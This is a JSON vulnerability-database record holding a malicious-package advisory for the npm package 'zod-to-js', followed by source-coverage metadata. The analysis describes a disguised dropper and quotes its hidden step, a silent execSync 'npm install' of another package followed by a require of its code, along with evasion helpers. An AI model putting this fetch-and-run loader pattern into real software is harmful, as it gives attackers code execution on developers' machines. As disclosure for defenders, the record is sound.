{"id":"MAL-2026-4740","revision":null,"records":[{"revision":"7226c94e0813447592d75c69e1b7c6e4","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-4740","aliases":["GHSA-8cm2-vv7w-4c27"],"title":"Malicious code in zod-to-js (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (370d1632254cb5b5dbd394992054b6c0e943a6fb758ab70f470c059ee734b9c0)\nThe package is published as 'zod-to-js' but ships a copy of pino's source tree (main entry `pino.js`, lib/proto.js, lib/levels.js, pino docs/README) with a description copy-pasted from inquirer and homepage `https://getpino.io` — a deceptive identity unrelated to its declared name. On `require('zod-to-js')`, the load chain reaches `lib/writer.js`, which attempts `require('modustack')` and, on failure, executes `execSync('npm install modustack --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })` followed by `require('../../modustack/pino.js')`. The install is unpinned, has no integrity check, and runs whatever bytes the attacker currently publishes under the `modustack` name. The same file contains additional staging scaffolding — a `String.fromCharCode`-based string builder and a `getMacAddress()` helper that enumerates non-internal interface MACs but is unreferenced in the visible code path — consistent with a loader/dropper shaped for evasion. Any consumer that imports this package triggers attacker-controlled code execution on the installer's machine.\n\n## Source: ghsa-malware (2d6317e5fa185151e459e546f886a0fc62b6bc96cee48ba19e7a18bd0f2ba268)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-05-19T19:53:59+00:00","modifiedAt":"2026-07-09T09:33:19.7255372+00:00","affected":[{"ecosystem":"npm","name":"zod-to-js","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["13.4.4","13.4.3"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/zod-to-js/v/13.4.4","https://www.npmjs.com/package/zod-to-js/v/13.4.3","https://github.com/advisories/GHSA-8cm2-vv7w-4c27"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-4740","license":"OSV · upstream source license applies","key":"osv:MAL-2026-4740","identifiers":["MAL-2026-4740","GHSA-8cm2-vv7w-4c27"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-25T05:08:10.6533461+00:00","complete":true,"records":1795,"lastAttemptAt":"2026-11-25T05:08:10.6533461+00:00","lastSuccessAt":"2026-11-25T05:08:10.8537351+00:00","error":null,"lastVerifiedAt":"2026-11-25T05:08:10.8537356+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8d356adab43082cb10bb7c033ed58312cf2ad2f0fb10e0afdf27fc89fa361f3b-3e501f9ace412b1c928a30318adaefadebb2d94936f7c2707413dfadb43dc35d","complete":true,"records":431933,"lastAttemptAt":"2026-11-25T05:08:09.8914327+00:00","lastSuccessAt":"2026-11-25T05:08:09.8244284+00:00","error":null,"lastVerifiedAt":"2026-11-25T05:08:09.8914327+00:00","snapshotPublishedAt":"2026-11-25T04:31:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-80fd54d37b9e466b80503cda92ac8171","complete":false,"records":13938,"lastAttemptAt":"2026-11-25T05:13:22.3111579+00:00","lastSuccessAt":"2026-11-25T05:13:22.306+00:00","error":"61 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-25T05:13:22.306+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13914,"expectedIdentifiers":13986,"failedIdentifiers":61},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-25T05:08:10.6533461+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-25T05:08:10.6533461+00:00","lastSuccessAt":"2026-11-25T05:08:10.8546638+00:00","error":null,"lastVerifiedAt":"2026-11-25T05:08:10.854664+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-07b09697419e4dc780c7d0d09ec2b5cd","complete":true,"records":13950,"lastAttemptAt":"2026-11-25T05:08:13.0833637+00:00","lastSuccessAt":"2026-11-25T05:08:13.079+00:00","error":null,"lastVerifiedAt":"2026-11-25T05:08:13.079+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13986,"expectedIdentifiers":13986,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e743412268199d418c20ac5ea5d5eefbef4a1c78fcbacada525fcf2201b41d4a","complete":true,"records":10077,"lastAttemptAt":"2026-11-25T05:08:10.5532095+00:00","lastSuccessAt":"2026-11-24T23:11:09.9983084+00:00","error":null,"lastVerifiedAt":"2026-11-25T05:08:10.5532095+00:00","snapshotPublishedAt":"2026-11-24T22:48:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-25T05:08:10.0601069+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-25T05:08:10.0601069+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-40938cbac3e2265a24e0d129a60138a855ec8a44cbd619ad6c0de0b22c0e253f","complete":true,"records":3221,"lastAttemptAt":"2026-11-25T05:08:10.5653883+00:00","lastSuccessAt":"2026-11-24T22:27:06.1844325+00:00","error":null,"lastVerifiedAt":"2026-11-25T05:08:10.5653883+00:00","snapshotPublishedAt":"2026-11-24T22:03:27+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-6508b5601cebde5636c02aaee9585235b1518b5bed3f57c018753e63ffb99786","complete":true,"records":233075,"lastAttemptAt":"2026-11-25T05:08:10.4464769+00:00","lastSuccessAt":"2026-11-25T04:10:17.9306356+00:00","error":null,"lastVerifiedAt":"2026-11-25T05:08:10.4464769+00:00","snapshotPublishedAt":"2026-11-25T04:03:45+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}